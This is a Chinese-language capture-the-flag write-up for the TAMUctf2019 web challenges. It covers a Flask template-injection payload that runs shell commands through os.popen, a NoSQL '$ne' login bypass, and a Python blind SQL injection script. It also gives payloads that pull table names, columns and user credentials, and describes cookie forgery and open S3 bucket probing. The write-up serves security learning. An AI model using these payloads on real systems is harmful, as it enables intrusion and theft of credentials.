TAMUctf2019 web wp

3月初的一个比赛,最近才复现做完
TAMUctf2019

Not Another SQLi Challenge

很简单,万能密码过

Robots Rule

打开robots.txt,提示

1
2
3
WHAT IS UP, MY FELLOW HUMAN!
HAVE YOU RECEIVED SECRET INFORMATION ON THE DASTARDLY GOOGLE ROBOTS?!
YOU CAN TELL ME, A FELLOW NOT-A-ROBOT!

于是把user-agent改为googlebot即可

Science!

进入提示Flask框架那应该就是SSTI了
然后尝试2发现上下两个输入框的结果都为2,于是开始搞事

然而正常操作好像不行orz
于是用另一种操作

payload:

1
2
{{url_for.__globals__.os.__dict__.popen('ls').read()}}
{{url_for.__globals__.os.__dict__.popen('cat flag.txt').read()}}

这里url_for是flask框架的一个函数,简单来说就是该函数的内核中有os模块,于是再通过dict去使用os模块中的popen()函数

Many Gig’ems to you!

打开后有cookies就抓个包,发现

于是猜测gigem_continue是flag的一段,然后F12查看网站的源码看看

于是把这两段连起来提交然而不对
但提示flag in cookies那就打开cookies这个页面的链接
然后F12继续在源码中寻找,发现

于是把source_and_接上得到flag

LoginApp

这题比赛时没搞出来,结束后看wp才知道是一道基础的nosql注入

在复现做的时候迷之burpsuite抓不到包,于是只能手动弄http报文
F12可以看到用了ajax,将输入的username和password打包成json,以post方式发向login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$("#submit").on('click', function(){
$.ajax({
url: 'login',
type : "POST",
dataType : 'json',
data : JSON.stringify({"username": $("#username").val(), "password": $("#password").val()}),
contentType: 'application/json;charset=UTF-8',
success : function(result) {
$(".result").html(result);
console.log(result);
alert(result);
},
error: function(xhr, resp, text) {
$(".result").html("Something went wrong");
console.log(xhr, resp, text);
}
})
});

于是就写一段js生成要post的json字符串

1
2
3
<script type="text/javascript">
alert(JSON.stringify({"username": "admin", "password": {"$ne":1}}));
</script>

修改一下content-type,发包得到flag

payload:
{"username":"admin","password":{"$ne":"1"}}

BirdBox

这题比赛时就觉得是一道盲注,比较正确和错误时是很明显的两个页面

然后就上python脚本
然而只能跑出注释里给出的值,而且列,表和库都只有一个
看了wp才知道是放在user里,以后还是要仔细点做orz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
# -*- coding:utf8 -*-  
import requests
import time
import re

url = r'http://localhost/Website/Search.php?Search='

for i in range(1):

l1 = 0
r1 = 100

while(l1<=r1):
mid1 = (l1 + r1)/2
payload = "1'^((select length(user()))="+str(mid1)+")^'"
new_url = url + payload
print new_url
try:
http = requests.get(new_url,timeout=5)
except requests.exceptions.Timeout:
for p in range(1, 10):
print "p"+str(p)
try:
http = requests.get(new_url,timeout=5)
time.sleep(5)
except requests.exceptions.Timeout:
pass
if http.content:
break
time.sleep(1)
if re.findall(r"<h1>(.*)</h1>",http.content)[0] == 'Nice try, nothing to see here.' :
break
else:
payload = "1'^((select length(user()))<"+str(mid1)+")^'"
new_url = url + payload
print new_url
try:
http = requests.get(new_url,timeout=5)
except requests.exceptions.Timeout:
for p in range(1, 10):
print "p"+str(p)
try:
http = requests.get(new_url,timeout=5)
time.sleep(5)
except requests.exceptions.Timeout:
pass
if http.content:
break
time.sleep(1)
if re.findall(r"<h1>(.*)</h1>",http.content)[0] == 'Nice try, nothing to see here.' :
r1 = mid1 - 1
else:
l1 = mid1 + 1

if mid1==0:
break
print
print str(i)+":"+str(mid1)
k = ''



for j in range(mid1):

l2 = 0
r2 = 128

while(l2<=r2):
mid2 = (l2 + r2)/2
payload = "1'^((select ascii(mid(user(),"+str(j+1)+",1)))="+str(mid2)+")^'"
new_url = url + payload
print new_url
try:
http = requests.get(new_url,timeout=5)
except requests.exceptions.Timeout:
for p in range(1, 10):
print "p"+str(p)
try:
http = requests.get(new_url,timeout=5)
time.sleep(5)
except requests.exceptions.Timeout:
pass
if http.content:
break
time.sleep(1)
if re.findall(r"<h1>(.*)</h1>",http.content)[0] == 'Nice try, nothing to see here.' :
q = mid2
break
else:
payload = "1'^((select ascii(mid(user(),"+str(j+1)+",1)))<"+str(mid2)+")^'"
new_url = url + payload
print new_url
try:
http = requests.get(new_url,timeout=5)
except requests.exceptions.Timeout:
for p in range(1, 10):
print "p"+str(p)
try:
http = requests.get(new_url,timeout=5)
time.sleep(5)
except requests.exceptions.Timeout:
pass
if http.content:
break
time.sleep(1)
if re.findall(r"<h1>(.*)</h1>",http.content)[0] == 'Nice try, nothing to see here.' :
r2 = mid2 - 1
else:
l2 = mid2 + 1

print
k = k+chr(q)
print k

print

payload:
1'^((select length(user()))=50)^'
1'^((select ascii(mid(user(),1,1)))=64)^'

l33tSecurity

和上题一样也是一道盲注题,比较坑的地方是跳转到message页面的那个按钮太小了,看了好久才找到这个页面orz

message页面一看url就觉得有注入点,也是很明显的盲注,同样上脚本

1' and ((select length(group_concat(table_name)) from information_schema.tables where table_schema=database())=50) and '1
1' and ((select ascii(mid((group_concat(table_name)),1,1)) from information_schema.tables where table_schema=database())=64) and '1

跑出messages,users
然后接着查users表

1' and ((select length(group_concat(column_name)) from information_schema.columns where table_name='users')=50) and '1
1' and ((select ascii(mid((group_concat(column_name)),1,1)) from information_schema.columns where table_name='users')=64) and '1

跑出UserID,Username,Password,FirstName,LastName,Phone,Email,Description,CreateDate,Secret
感觉UserID,Username,Password和Secret会有用,于是继续注入

1' and ((select length(group_concat(UserID,' ',Username,' ',Password,' ',Secret)) from users)=250) and '1
1' and ((select ascii(mid((group_concat(UserID,' ',Username,' ',Password,' ',Secret)),1,1)) from users)=64) and '1

拿到了所有用户的信息,最重要的还是admin的

1 1337-admin 02ca0b0603222a090fe2fbf3ba97d90c WIFHXDZ3BOHJMJSC

密码应该是md5加密过用不了,于是试着抓包看看,发现cookie里有id和secret

于是修改一下cookie再发送得到flag

Buckets

这题要注册一个亚马逊服务器,有点麻烦就没复现

这题参考这里
针对亚马逊云存储器S3 BUCKET的渗透测试

不是看得很懂,大概是在AmazonS3上,我们可以尝试用http://bucketname.s3.amazonaws.com这样的方式去探查不受访问权限限制的bucket,如果成功就会返回一个目录列表,然后就能各种搞事了